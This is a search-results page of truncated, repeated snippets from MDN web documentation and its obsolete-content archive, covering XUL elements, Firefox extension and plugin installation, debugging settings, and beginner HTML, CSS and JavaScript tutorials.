... to be responsive. animation can help make a site feel faster and responsive, but animations can also make a site feel slower and janky if not done correctly. responsive user interfaces have a frame rate of 60 frames per second (fps). while it is not always possible to maintain 60fps, it is important to maintain a high and steady frame rate for all animations. let's take a look at how we can use browser tools to inspect the frame rate. we'll also discuss some tips to create and maintain a fast and steady frame rate. the developer tool's frame rate and waterfall charts provide insight into the work the browser is performing to animate code. using these tools you can measure an application's animation frame rate, and diagnose performance bottlenecks if any are found. with css animations you sp...
...And 6 more matches
On page load - Archive of obsolete content
this article is for xul/javascript developers who want to have custom code executed each time a new page is loaded in browser/mail. if you need finer control over custom code execution—for example, as documents are loading or when tabs are switched—see progress listeners. progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events. progress listeners implement the nsiwebprogresslistener interface. ...
...sions to be notified of events associated with documents loading in the browser and with tab switching events. progress listeners implement the nsiwebprogresslistener interface. ...
...fied of events associated with documents loading in the browser and with tab switching events. progress listeners implement the nsiwebprogresslistener interface. ...
...And 5 more matches
List of Former Mozilla-Based Applications - Archive of obsolete content
aintained. a list of actively maintained mozilla-based applications is also available. ...
...tion angelsoft tools for startups, vcs, and angel investors switched from xulrunner-based client to a web application autodesk maya 3d modeling tool switched off of gecko for help browser in version 8.5 blam feed reader switched to webkit in version 1.8.6 boxee media center software switched to webkit in version 1.0 epiphany browser switched from gecko to webkit flock social browsing flock switched from being firefox-based to chromium-based when it released a new beta on june 16, 2010 jolicloud web operating system as of march 2010, rw/w reports jolicloud is on chrome/chrome os joost tv over internet switched from xulrunner-based client to a web application liferea ...
...flock switched from being firefox-based to chromium-based when it released a new beta on june 16, 2010 jolicloud web operating system as of march 2010, rw/w reports jolicloud is on chrome/chrome os joost tv over internet switched from xulrunner-based client to a web application liferea news aggregator switched to webkit in version 1.6 manyone browser browser originally mozilla-based but now i believe the have a web-based tool (need reference for that) miro (formerly democracy player) video switched from xulrunner to webkit in version 3.0.2 moblin browser browser when moblin became meego it switched from a custom gecko-based browser to chrome nautilus file manager hasn't used mozilla code si...
...And 5 more matches
Creating a Firefox sidebar extension - Archive of obsolete content
introduction this article is a quick start for the creation of a new sidebar for firefox. ...
...ifierskey "shift accel"> the content folder includes our sidebar, the emptysidebar.xul is shown in example 3. it creates a page holding one label. other elements can be included, please read the xul tutorials for more information. example 3. ...
...ift accel"> the content folder includes our sidebar, the emptysidebar.xul is shown in example 3. it creates a page holding one label. other elements can be included, please read the xul tutorials for more information. example 3. ...
...And 5 more matches
Install script template - Archive of obsolete content
/** doron rosenberg -- doronatnospamallowedherenetscape.com arun k. ranganathan -- aruneratnospamallowedherenetscape.com petter ericson -- petteratnospamallowedherecycore.com this is an install.js file that does the following -- 1. installs to the current browser that is invoking the installation 2. additionally installs to a secondary location on the windows desktop, in this case c:\winnt\system32\myplugin\ 3. writes registry keys exposing the above secondary install location for other browsers to find. the keys are written according to the specification: http://mozilla.org/projects/plugins/first-install-problem.html and follows the plid specification: http://mozilla.org/projects/plugins/plugin-identifier.html **/ // define some global variables var plugin_file =...
...se will be used when the win32 registry keys are written var hkey_local_machine = "hkey_local_machine"; var hkey_current_user = "hkey_current_user"; var reg_moz_path = "software\\mozillaplugins"; // my own error code in case secondary installation fails var nosecondaryinstall = 1; // error return codes need some memory var err; // error return codes when we try and install to the current browser var errblock1; // error return codes when we try and do a secondary installation var errblock2 = 0; // global variable containing our secondary install location var secondaryfolder; //special error values used by the cycore developers (www.cycore.com) who helped make this install script var exceptionoccurederror = -4711; var winregisnullerror = -4712; var invalidrootkeyer...
...ncel the installation // initinstall is quite an overloaded method, but i have invoked it here with three strings // which are globally defined err = initinstall(software_name, plid, version); if (err != 0) { // call initinstall again in case illegal characters in plid err = initinstall(software_name, software_name, version); if (err != 0) cancelinstall(err); } //addfiles to current browser block var pluginsfolder = getfolder("plugins"); //verify disk space if(verifydiskspace(pluginsfolder, plugin_size+component_size)) { // start installing plugin shared library reseterror(); // install the plugin shared library to the current browser's plugin directory errblock1 = addfile (plid, version, plugin_file, pluginsfolder, null); if (errblock1!=0) { logcomment("could not ad...
...And 5 more matches
Building accessible custom components in XUL - Archive of obsolete content
sed to build the control; they had no way of knowing that a particular collection of div and span elements should be treated as a single cohesive control (such as a tab bar or a treeview). by implementing dhtml accessibility techniques, web developers can declare that generic html elements are really acting as specific gui controls (such as a treeitem within a treeview). firefox 1.5 is the first browser to support dhtml accessibility; it maps the declarations within the html page to the underlying accessibility architecture so that assistive technologies can "read" a web page and know how to present these complex controls to the end user. this has all been well-documented for some time. however, it is less well-known that the same dhtml accessibility techniques can be applied to xul, mozilla's...
...ssible out-of-the-box. however, if you are building custom controls in xul, you may need to use dhtml accessibility techniques to ensure that your custom controls are equally accessible. a super-simple spreadsheet download stage-1.zip install stage-1.xpi to build our xul spreadsheet, we'll use three built-in xul controls: a single grid element to contain the other elements and position them in rows and columns. description elements for each row and column header. label elements for each cell in the spreadsheet. the xul markup is straightforward. we define the grid, then define the headers for each row (numbered 1 through 7), then define the column header and cells for each column. the label for each header and cell is defined in the value attribute. the flex attributes are simply for layou...
...e simply for layout. note: the row and column headers are denoted by description elements, and individual cells are denoted by label elements. this is not an accessibility requirement; as we'll see in the next section, the actual xul elements are irrelevant because we will define the role of each element in a separate attribute. ...
...And 5 more matches
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
r button toolkit applications have customizable toolbars; therefore, it's common practice for extensions to add their toolbar buttons to the toolbar palette, rather than adding them directly to the toolbar. the latter is possible, but is not recommended and is harder to implement. adding a button to the toolbar palette is very easy. just add code like this to your overlay: <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="myextension-button" class="toolbarbutton-1" label="&toolbarbutton.label;" tooltiptext="&toolbarbutton.tooltip;" oncommand="myextension.ontoolbarbuttoncommand(event);"/> </toolbarpalette> notes: the id of the palette (browsertoolbarpalette in the example) depends on the window (the parent window of the toolbar you wish to insert a button). see b...
...ctly in icons and text mode; it also adjusts padding. set the command to be executed when the button is clicked in the oncommand attribute. if you need to handle middle-click, add this line after the oncommand line. ...
...sion.onclick(event);"/> </toolbarpalette> onclick: function(event) { switch(event.button) { case 0: // left click break; case 1: // middle click break; case 2: // right click break; } } to add more buttons, put more <toolbarbutton> elements inside the <toolbarpalette> element. wrap elements other than <toolbarbutton> in <toolbaritem>. adding the button bootstrap style adding a button to the browserpalette on runtime in a bootstrap addon is a bit different because the browserpalette is indirectly reached. a simple document.getelementbyid('browsertoolbarpalette') will not work. this is the code to create and add it in. let button = doc.createelement("toolbarbutton"); button.setattribute("id", button_id); button.setattribute("label", "replace bookmark"); button.setattribute("class", "toolba...
...And 5 more matches
Tree Selection - Archive of obsolete content
« previousnext » the section will describe how to get and set the selected items in a tree. getting the selected tree items each item in a tree (that corresponds to treeitem element, if using content tree view) may be selected individually. if you add the seltype attribute to the tree, set to the value single, the user may only select one row at a time. otherwise, the user may select multiple rows, which will not necessarily be contiguous. the tree provides a number of functions which can be used to determine whether an item is selected. handling the select event first, let's see how we can determine when an item is selected. the onselect() event handler may be added to the tree element. when the user selects an item from the tree, the event handler is called. the user may also change the ...
...ncluded in the count just after their parents. this means that if there are 3 top-level items and each has two child items, there will be a total of 9 items. the first item (at index 0) will be the first top-level item. the next item at index 1 will be its first child. the second child will be at index 2 and the second parent item will be at position 3 and so on. in the image, there are eight rows displayed, of which two are selected. the first selected row has an index of 4 and the second has an index of 7. the rows that are not displayed are not included in the index count. multiple selection for trees that allow multiple selection, getting the list of selected rows is a bit more complicated. the tree's view has a selection property which holds information about the selected rows. this s...
...just want to find out if a specific row is selected, use can use the isselected() function. it takes a row index as an argument and returns true if that row is selected. alert(tree.view.selection.isselected(3)); modifying the tree selection the selection object has a number of functions which may be used to change the selection. ...
...And 5 more matches
XUL Questions and Answers - Archive of obsolete content
the current issue is a person exploring if it is possible to have checkbox support for multi column lists. ...
...if user wants checkbox support for...
...hange a xul tree cell/row/item background color with javascript? to set the background color you need to set the property for the cell/row and not for the item. an example of this is: var tree = document.getelementbyid('treeid'); selectedtreeitem = tree.view.getitematindex(tree.currentindex); selectedtreeitem.firstchild.setattribute('style', 'background: #ff0000'); what is an example of tab browser in xul? an example of tab browswer in xul how can i get uris on open tabs? using the following code sample, // get browsers object var browsers=document.getelementbyid('content').browsers; var numbrowsers=browsers.length; for (var i=0; numbrowsers>i; i++) { var thisuri=browsers[i].currenturi.spec; // do something with it. } the person can get the titles too using the .contentti...
...And 5 more matches
iframe - Archive of obsolete content
examples | attributes | properties | methods | related ] an inner frame that works much like the html <iframe> element. the src attribute can be used to specify the content of the frame. this content is a separate document. the children of the iframe are ignored. currently, xul iframes running in remote processes are not supported. if you want to run content in a remote process, use a xul browser element. warning: when used in chrome-privileged documents (either html or xul) such as firefox addons, the contents of the frame may have the same permissions as firefox itself. this can be a serious security vulnerability, for example if you use src="http://...". when used in this case, please see displaying web content in an extension without security issues. more information is availabl...
...ecurity vulnerability, for example if you use src="http://...". when used in this case, please see displaying web content in an extension without security issues. more information is available in the xul tutorial. ...
...he firstchild is the menupopup element document.getelementbyid('myframe').setattribute('src', url); } </script> attributes showcaret type: boolean whether or not to cause a typing caret to be visible in the content area. default is false. src type: uri the uri of the content to appear in the element. type type: one of the values below. ...
...And 5 more matches
listbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is used to create a list of items where one or more of the items may be selected. a listbox may contain multiple columns. there are numerous methods which allow the items in the listbox to be retrieved and modified. you may specify the number of rows to display in the list using the rows attribute. additional rows can be viewed using a scroll bar. a listbox is expected to contain listitem elements. all the rows in the listbox are the same height, which is the height of the tallest item in the list. if you wish to create a list with variable height rows, or with non-text content, you should instead use the richlistbox element. see list controls for more information. attributes ...
...g a scroll bar. a listbox is expected to contain listitem elements. all the rows in the listbox are the same height, which is the height of the tallest item in the list. if you wish to create a list with variable height rows, or with non-text content, you should instead use the richlistbox element. see list controls for more information. ...
... properties accessibletype, currentindex, currentitem, disabled, disablekeynavigation, itemcount, listboxobject, selectedcount, selectedindex, selecteditem, selecteditems, seltype, suppressonselect, tabindex, value methods additemtoselection, appenditem, clearselection, ensureelementisvisible, ensureindexisvisible, getindexoffirstvisiblerow, getindexofitem, getitematindex, getnumberofvisiblerows, getrowcount, getselecteditem, insertitemat, invertselection, movebyoffset, removeitemat, removeitemfromselection, scrolltoindex, selectall, selectitem, selectitemrange, timedselect, toggleitemselection examples <listbox id="thelist"> <listitem label="ruby"/> <listitem label="emerald"/> <listitem label="sapphire" selected="true"/> <listitem label="diamond"/> </listbox> <listbox i...
...And 5 more matches
Debugging a XULRunner Application - Archive of obsolete content
ure that the information you need to know is displayed on them. see also debugging javascript prefs setting the following prefs will make your debugging life much easier! preferences should be in a .js file in the directory %appname%/defaults/preferences/. it doesn't matter what the file is called (as long as the extension is .js), so debug.js is as good as any! /* debugging prefs */ pref("browser.dom.window.dump.enabled", true); pref("javascript.options.showinconsole", true); pref("javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); don't forget to change these preferences back to their defaults when you've finished debugging; leaving them as-is can significantly harm performance and usability. see: pr...
...erformance and usability. see: preference reference for more information about these preferences. console to enable a console on windows, start xulrunner with the -console argument. note that -console goes after the application.ini argument: e.g. xulrunner.exe /path/to/application.ini -console to output text to the console, use dump("my text here\n");. this will only work if the pref pref("browser.dom.window.dump.enabled", true) is enabled. to output dump calls instead to a file, set browser.dom.window.dump.file to the file destination where the log should be created and restart the application. if you would like the console messages to appear in the console you used to launch the application, you can use the gecko console redirector. precompiled binaries are available in the zipped a...
... with the red stop icon next to it). jsdump(str) (function defined below) will output str as a "message" with a speech bubble icon next to it: function jsdump(str) { components.classes['@mozilla.org/consoleservice;1'] .getservice(components.interfaces.nsiconsoleservice) .logstringmessage(str); } for more information about the error console see the error console and browser console article. browser debugger as of gecko 44, it is no longer possible to start the devtools server from xul apps. see bug 1244163. starting with xulrunner 24, you should use the firefox browser debugger to debug your xulrunner apps. add the following code to your xul app: components.utils.import('resource://gre/modules/devtools/dbg-server.jsm'); if (!debuggerserver.initialized) { d...
...And 5 more matches
External resources for plugin creation - Archive of obsolete content
s there are several open source projects designed to assist with the creation of npapi plugins. please note that even when using these, it is still a good idea to have an understanding of what is going on under the hood, regardless of the level of abstraction provided. framework: firebreath project home page project history description (from the project creators): firebreath is a cross-platform browser plugin framework written in c++. plugins created with firebreath work on all major browsers, including firefox 3.0 and later. platforms supported include windows, linux, and mac os x (intel). feature highlights include thread safety checks, unicode support (with std::wstring), activex support, built-in drawing model negotiation for mac, automatic type conversion (including javascript arrays ...
...script arrays and objects), advanced security features, and more. supported development environments are visual studio on windows, xcode on mac, and gcc on linux. all platforms rely on cmake for easy cross-platform builds. project: nixysa project home page description (from the home page): nixysa is a framework written in python to automatically generate glue code for npapi plugins (plugins for browsers such as google chrome or firefox), letting you easily expose c++ classes to javascript from a simple idl representation. nixysa was originally conceived for the needs of o3d, but is flexible enough to support a wide range of use cases. project: juce project home page description (from the home page): juce (jules' utility class extensions) is an all-encompassing c++ class library for developing...
...class extensions) is an all-encompassing c++ class library for developing cross-platform applications. it contains pretty much everything you're likely to need to create most applications, and is particularly good for creating highly-specialised uis and for handling graphics and sound. ...
...And 5 more matches
Theme changes in Firefox 4 - Archive of obsolete content
impact theme developers, since many of the files that they need to pull out and work with are now in a new place. in particular, the new file omni.jar contains most of the resources, including the skin. it's also important to note that skin files are now split into two subfolders within the omni.jar file, and you'll need to look in both places to find all the skin resources you need. /chrome/browser/skin contains application-specific skin resource files. /chrome/toolkit/skin contains toolkit skin files. note: when extracting omni.jar, you may incorrectly get false warnings from some virus protection software. in addition, due to the way the archive is optiimized, some zip utilities don't work with it. controlling the actual icon size used by add-on toolbar buttons the iconsize att...
...ns application-specific skin resource files. /chrome/toolkit/skin contains toolkit skin files. note: when extracting omni.jar, you may incorrectly get false warnings from some virus protection software. in addition, due to the way the archive is optiimized, some zip utilities don't work with it. ...
... use of the iconsize attribute on toolbar elements add-ons use the iconsize attribute to determine which icon they should display when a button is placed in a specific toolbar. ...
...And 5 more matches
Using the W3C DOM - Archive of obsolete content
« previousnext » the document object has properties for accessing collections of elements, such as document.images and document.forms. some browsers have non-standard properties, such as internet explorer's document.all[], that are not part of the w3c document object model (dom) standards and may cause javascript errors in standards-compliant browsers. the w3c document object model provides interfaces dom elements to scriptable objects. w3c dom standards are well supported by modern browsers, however the standards are moving target so support for newer features should be tested before use. ...
...ent object model (dom) standards and may cause javascript errors in standards-compliant browsers. the w3c document object model provides interfaces dom elements to scriptable objects. w3c dom standards are well supported by modern browsers, however the standards are moving target so support for newer features should be tested before use. using w3c standards means that code will run in compliant browsers with minimal need for cross-browser support, whereas code based on proprietary standards requires much more effort to be compatible with multiple user agents. unsupported dom-related properties the following ie proprietary document object properties are not supported in the w3c document object model: document.layers[] id_attribute_value document.all document.all.id_attribute_value doc...
...the method returns a reference to the uniquely ...
...And 5 more matches
Vendor Prefix - MDN Web Docs Glossary: Definitions of Web-related terms
browser vendors sometimes add prefixes to experimental or nonstandard css properties and javascript apis, so developers can experiment with new ideas while—in theory—preventing their experiments from being relied upon and then breaking web developers' code during the standardization process. developers should wait to include the unprefixed property until browser behavior is standardized. browser vendors are working to stop using vendor prefixes for experimental features. web developers have been using them on production web sites, despite their experimental nature. ...
...d upon and then breaking web developers' code during the standardization process. developers should wait to include the unprefixed property until browser behavior is standardized. browser vendors are working to stop using vendor prefixes for experimental features. web developers have been using them on production web sites, despite their experimental nature. this has made it more difficult for browser vendors to ensure compatibility and to work on new features; it's also been harmful to smaller browsers who wind up forced to add other browsers' prefixes in order to load popular web sites. lately, the trend is to add experimental features behind user-controlled flags or preferences, and to create smaller specifications which can reach a stable state much more quickly. css prefixes the maj...
...endors to ensure compatibility and to work on new features; it's also been harmful to smaller browsers who wind up forced to add other browsers' prefixes in order to load popular web sites. lately, the trend is to add experimental features behind user-controlled flags or preferences, and to create smaller specifications which can reach a stable state much more quickly. ...
...And 5 more matches
CSS and JavaScript accessibility best practices - Learn web development
. most of the css you'll write for forms will be for sizing the elements, lining up labels and inputs, and getting them looking neat and tidy. you shouldn't however deviate too much from the expected visual feedback form elements receive when they are focused, which is basically the same as links (see above). you could style form focus/hover states to make this behaviour more consistent across browsers or fit in better with your page design, but don't get rid of it altogether — again, people rely on these clues to help them know what is going on. tables tables for presenting tabular data. you can see a good, simple example of table html and css in our table-css.html example (see it live also). table css generally serves to make the table fit better into your design and look less ugly. ...
...p them know what is going on. tables tables for presenting tabular data. you can see a good, simple example of table html and css in our table-css.html example (see it live also). table css generally serves to make the table fit better into your design and look less ugly. it is a good idea to make sure the table headers stand out (normally using bold), and use zebra striping to make different rows easier to parse. color and color contrast when choosing a color scheme for your website, make sure that the text (foreground) color contrasts well with the background color. your design might look cool, but it is no good if people with visual impairments like color blindness can't read your content. there is an easy way to check whether your contrast is large enough to not cause problems. ther...
...keeping it unobtrusive you should keep unobtrusive javascript in mind when creating your content. the idea of unobtrusive javascript is that it should be used wherever possible to enhance functionality, not build it in entirely — basic functions should ideally work without javascript, although it is appreciated that this is not always an option. but again, a large part of it is using built-in browser functionality where possible. good example uses of unobtrusive javascript include: providing client-side form validation, which alerts users to problems with their form entries quickly, without having to wait for the server to check the data. if it isn't available, the form will still work, but validation might be slower. providing custom controls for html5 <video>s that are accessible to ...
...And 5 more matches
Web fonts - Learn web development
roduction to css), css text and font fundamentals. objective: to learn how to apply web fonts to a web page, using either a third party service, or by writing your own code. font families recap as we looked at in fundamental text and font styling, the fonts applied to your html can be controlled using the font-family property. this takes one or more font family names, and the browser travels down the list until it finds a font it has available on the system it is running on: p { font-family: helvetica, "trebuchet ms", verdana, sans-serif; } this system works well, but traditionally web developers' font choices were limited. there are only a handful of fonts that you can guarantee to be available across all common systems — the so-called web-safe fonts. you can use the...
... web-safe alternatives, followed by the default system font, but this adds overhead in terms of testing to make sure that your designs look ok with each font, etc. web fonts but there is an alternative, which works very well, right back to ie version 6. web fonts are a css feature that allows you to specify font files to be downloaded along with your website as it is accessed, meaning that any browser that supports web fonts can have exactly the fonts you specify available to it. amazing! the syntax required looks something like this: first of all, you have a @font-face block at the start of the css, which specifies the font file(s) to download: @font-face { font-family: "myfont"; src: url("myfont.woff"); } below this you can then use the font family name specified inside @font-face t...
...ily: "myfont"; src: url("myfont.woff"); } below this you can then use the font family name specified inside @font-face to apply your custom font to anything you like, as normal: html { font-family: "myfont", "bitstream vera serif", serif; } the syntax does get a bit more complex than this; we'll go into more detail below. ...
...And 5 more matches
Debugging HTML - Learn web development
ses can look a little intimidating to someone who doesn't know anything about rust. debugging doesn't have to be scary though — the key to being comfortable with writing and debugging any programming language or code is familiarity with both the language and the tools. html and debugging html is not as complicated to understand as rust. html is not compiled into a different form before the browser parses it and shows the result (it is interpreted, not compiled). and html's element syntax is arguably a lot easier to understand than a "real programming language" like rust, javascript, or python. the way that browsers parse html is a lot more permissive than how programming languages are run, which is both a good and a bad thing. permissive code so what do we mean by permissive? well, gen...
... language's syntax and know what the error messages mean. logic errors: these are errors where the syntax is actually correct, but the code is not what you intended it to be, meaning that the program runs incorrectly. these are often harder to fix than syntax errors, as there isn't an error message to direct you to the source of the error. html itself doesn't suffer from syntax errors because browsers parse it permissively, meaning that the page still displays even if there are syntax errors. browsers have built-in rules to state how to interpret incorrectly written markup, so you'll get something running, even if it is not what you expected. this, of course, can still be a problem! note: html is parsed permissively because when the web was first created, it was decided that allowing peop...
...it is today, if it had been more strict from the very beginning. active learning: studying permissive code it's time to study the permissive nature of html code. first, download our debug-example demo and save it locally. this demo is deliberately written with some built-in errors for us to explore (the html markup is said to be badly-formed, as opposed to well-formed). next, open it in a browser. you will see something like this: this immediately doesn't look great; let's look at the source code to see if we can work out why (only the body contents are shown): <h1>html debugging examples</h1> <p>what causes errors in html? <ul> <li>unclosed elements: if an element is <strong>not closed properly, then its effect can spread to areas you didn't intend <li>badly nested elem...
...And 5 more matches
Images in HTML - Learn web development
e this: <img src="images/dinosaur.jpg"> and so on. note: search engines also read image filenames and count them towards seo. therefore, you should give your image a descriptive filename; dinosaur.jpg is better than img835.png. you could embed the image using its absolute url, for example: <img src="https://www.example.com/images/dinosaur.jpg"> but this is pointless, as it just makes the browser do more work, looking up the ip address from the dns server all over again, etc. you'll almost always keep the images for your website on the same server as your html. warning: most images are copyrighted. do not display an image on your webpage unless: you own the image. you have received explicit, written permission from the image owner. you have ample proof that the image is, in fact,...
...s a long time to render because of a slow internet connection. for example, our above code could be modified like so: <img src="images/dinosaur.jpg" alt="the head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"> the easiest way to test your alt text is to purposely misspell your filename. if for example our image name was spelled dinosooooor.jpg, the browser wouldn't display the image, and would display the alt text instead: so, why would you ever see or need alt text? it can come in handy for a number of reasons: the user is visually impaired, and is using a screen reader to read the web out to them. in fact, having alt text available to describe images is useful to most users. as described above, the spelling of the file or path name might...
...ay the image, and would display the alt text instead: so, why would you ever see or need alt text? it can come in handy for a number of reasons: the user is visually impaired, and is using a screen reader to read the web out to them. in fact, having alt text available to describe images is useful to most users. as described above, the spelling of the file or path name might be wrong. the browser doesn't support the image type. some people still use text-only browsers, such as lynx, which displays the alt text of images. you may want to provide text for search engines to utilize; for example, search engines can match alt text with search queries. users have turned off images to reduce data transfer volume and distractions. this is especially common on mobile phones, and in countries w...
...And 5 more matches
A first splash into JavaScript - Learn web development
the game logic and ui are completely reset, then go back to step 1. let's now move forward, looking at how we can turn these steps into code, building up the example, and exploring javascript features as we go. initial setup to begin this tutorial, we'd like you to make a local copy of the number-guessing-game-start.html file (see it live here). open it in both your text editor and your web browser. at the moment you'll see a simple heading, paragraph of instructions and form for entering a guess, but the form won't currently do anything. the place where we'll be adding all our code is inside the <script> element at the bottom of the html: <script> // your javascript goes here </script> adding variables to store our data let's get started. first of all, add the following lines in...
...have defined a function by using the keyword function, followed by a name, with parentheses put after it. after that we put two curly braces ({ }). inside the curly braces goes all the code that we want to run whenever we call the function. when we want to run the code, we type the name of the function followed by the parentheses. let's try that now. save your code and refresh the page in your browser. then go into the developer tools javascript console, and enter the following line: checkguess(); after pressing return/enter, you should see an alert come up that says "i am a placeholder"; we have defined a function in our code that creates an alert whenever we call it. note: you'll learn a lot more about functions later in the course. operators javascript operators allow us to perform...
...ould see an alert come up that says "i am a placeholder"; we have defined a function in our code that creates an alert whenever we call it. note: you'll learn a lot more about functions later in the course. operators javascript operators allow us to perform tests, do math, join strings together, and other such things. if you haven't already done so, save your code, refresh the page in your browser, and open the developer tools javascript console. then we can try typing in the examples shown below — type in each one from the "example" columns exactly as shown, pressing return/enter after each one, and see what results they return. first let's look at arithmetic operators, for example: operator name example + addition 6 + 9 - subtraction ...
...And 5 more matches
Inheritance in JavaScript - Learn web development
pt basics (see first steps and building blocks) and oojs basics (see introduction to objects). objective: to understand how it is possible to implement inheritance in javascript. prototypal inheritance so far we have seen some inheritance in action — we have seen how prototype chains work, and how members are inherited going up a chain. but mostly this has involved built-in browser functions. how do we create an object in javascript that inherits from another object? let's explore how to do this with a concrete example. getting started first of all, make yourself a local copy of our oojs-class-inheritance-start.html file (see it running live also). inside here you'll find the same person() constructor example that we've been using all the way through the module, with a...
...pe and will therefore inherit, if and when needed, all the methods available on person.prototype. we need to do one more thing before we move on. after adding the last line, teacher.prototype's constructor property is now equal to person(), because we just set teacher.prototype to reference an object that inherits its properties from person.prototype! try saving your code, loading the page in a browser, and entering teacher.prototype.constructor into the console to verify. this can become a problem, so we need to set this right. you can do so by going back to your source code and adding the following line at the bottom: object.defineproperty(teacher.prototype, 'constructor', { value: teacher, enumerable: false, // so that it does not appear in 'for in' loop writable: true }); ...
... here is not the only way to create inheriting classes in javascript, but it works ok, and it gives you a good idea about how to implement inheritance in javascript. you might also be interested in checking out some of the new ecmascript features that allow us to do inheritance more cleanly in javascript (see classes). we didn't cover those here, as they are not yet supported very widely across browsers. all the other code constructs we discussed in this set of articles are supported as far back as ie9 or earlier, and there are ways to achieve earlier support than that. a common way is to use a javascript library — most of the popular options have an easy set of functionality available for doing inheritance more easily and quickly. coffeescript for example provides class, extends, etc. a ...
...And 5 more matches
Debugging JavaScript
la itself, but it may also be useful for web developers. it should give pointers to tools, aids and tricks which make debugging your code easier. web console this is the first place to go when you're debugging a web page; open the web console using the web console option in the web developer menu. this shows any javascript errors in your app, as well as any logging calls from the console api. browser console the browser console lets you see all javascript errors and logging in the browser, including from firefox code. to enable it, go to about:config in the url bar and set devtools.chrome.enabled to true, or set the "enable chrome and add-on debugging" option in the developer tool settings. activate it through with the menu tools > web developer > browser console. you can also start the b...
...er console the browser console lets you see all javascript errors and logging in the browser, including from firefox code. to enable it, go to about:config in the url bar and set devtools.chrome.enabled to true, or set the "enable chrome and add-on debugging" option in the developer tool settings. activate it through with the menu tools > web developer > browser console. ...
...he url bar and set devtools.chrome.enabled to true, or set the "enable chrome and add-on debugging" option in the developer tool settings. activate it through with the menu tools > web developer > browser console. ...
...And 5 more matches
Performance best practices for Firefox front-end engineers
n that can be done off of the main thread. if you need more elevated privileges than a standard worker allows, consider using a chromeworker, which is a firefox-only api which lets you create workers with more elevated privileges. use requestidlecallback() if you simply cannot avoid doing some kind of long job on the main thread, try to break it up into smaller pieces that you can run when the browser has a free moment to spare, and the user isn't doing anything. you can do that using requestidlecallback() and the cooperative scheduling of background tasks api, and doing it only when we have a free second where presumably the user isn’t doing something. see also the blog post collective scheduling with requestidlecallback. as of bug 1353206, you can also schedule idle events in non-dom c...
... <xul:panel> to a document, set the hidden attribute to true by default. by doing so, you cause the binding applied on demand rather than at load time, which makes initial construction of the xul document faster. get familiar with the pipeline that gets pixels to the screen learn how pixels you draw make their way to the screen. knowing the path they will take through the various layers of the browser engine will help you optimize your code to avoid pitfalls. the rendering process goes through the following steps: the above image is used under creative commons attribution 3.0, courtesy of this page from our friends at google, which itself is well worth the read. for a very down-to-earth explanation of the style, layout, paint and composite steps of the pipeline, this hacks blog post do...
..., in a single frame tick, instead of across multiple frames. see detecting and avoiding synchronous reflow below for more information. this also means that requestanimationframe() is not a good place to put queries for layout or style information. detecting and avoiding synchronous style flushes what are style flushes? when css is applied to a document (html or xul, it doesn’t matter), the browser does calculations to figure out which css styles will apply to each element. this happens the first time the page loads and the css is initially applied, but can happen again if javascript modifies the dom. javascript code might, for example, change dom node attributes (either directly or by adding or removing classes from elements), and can also add, remove, or delete dom nodes. because style...
...And 5 more matches
How to Report a Hung Firefox
use the menu button to find the crash me icon and click the icon. firefox crash report ui should appear. please check the box to send the crash report to mozilla start firefox. type "about:crashes" in the url bar and click on the top listing. create a new bug report at bugzilla.mozilla.org using this link. ...
...s" in the url bar and click on the top listing. create a new bug report at bugzilla.mozilla.org using this link. another way to trigger a crash in a hung tab is to run the following script in the browser console (opened after selecting the hung tab): let wm = cc["@mozilla.org/appshell/window-mediator;1"]. ...
...ar and click on the top listing. create a new bug report at bugzilla.mozilla.org using this link. another way to trigger a crash in a hung tab is to run the following script in the browser console (opened after selecting the hung tab): let wm = cc["@mozilla.org/appshell/window-mediator;1"]. ...
...And 5 more matches
L10n Checks
nstall running it mercurial source (source) mode l10n checks gathers the directories to compare from an ini file, usually found in $app/locales/l10n.ini. you pass both the path to the ini file and the parent directory of the localizations as first arguments, followed by the locale codes of the locales you want to compare. if you want to test the localization for de, run: check-l10n-completeness browser/locales/l10n.ini ../l10n/ de add-ons (xpi) mode l10n checks gathers the locales to compare from the chrome.manifest file inside the xpi file. you pass the path to the xpi file (optionally) followed by the locale codes of the locales you want to compare. if you want to test the localization for de, run: check-l10n-completeness -i xpi my-extension.xpi de to check all locales in an extension: ch...
...s can compare two locales found in different directories. you pass both paths to the directories, e.g.: check-l10n-completeness -i dir en-us/ my/ files (file) mode l10n checks can compare two files. you pass both paths to the files, e.g.: check-l10n-completeness -i file en-us.dtd my.dtd the output the output of l10n checks shows the missing and obsolete strings in a pseudo-diff format. ...
...ocales found in different directories. you pass both paths to the directories, e.g.: check-l10n-completeness -i dir en-us/ my/ files (file) mode l10n checks can compare two files. you pass both paths to the files, e.g.: check-l10n-completeness -i file en-us.dtd my.dtd the output the output of l10n checks shows the missing and obsolete strings in a pseudo-diff format. ...
...And 5 more matches
Places utilities for JavaScript
warning: the content of this article may be out of date. utils.js is accessible at the following url: http://mxr.mozilla.org/mozilla-centr...ntent/utils.js this file includes utility functions used by a lot of the bookmarking, tagging, and annotation services that are built into firefox. by default its only included in browser.xul. its not an interface, and as such it will never be frozen, but it provides some easy to use functions that can save you from reinventing the wheel and cluttering up your own classes/functions when you need it. global objects there are a few global objects and constants defined in utils.js. these are: qi_node qi_node(anode, aiid) runs a query interface on a bookmark node to expose the interface available to that type. if the interface isn't ...
... organizer_query_anno - this annotation is used by the places organizer to decide what nodes should be shown in the left pane. warning : placesutils class since firefox 3 beta 5 has been split into: placesutils: can be used in any toolkit application placesuiutils: only in firefox placesutils this is a gigantic object full of usefulness if you need to do any bookmark work from within browser.xul. as such, it gets its own special section. placesutils method overview nsiuri createfixeduri(string aspec); string getformattedstring(string key, string params); string getstring(string key); boolean nodeisfolder(nsinavhistoryresultnode anode); boolean nodeisbookmark(nsinavhistoryresultnode anode); boolean nodeisseparator(nsinavhistor...
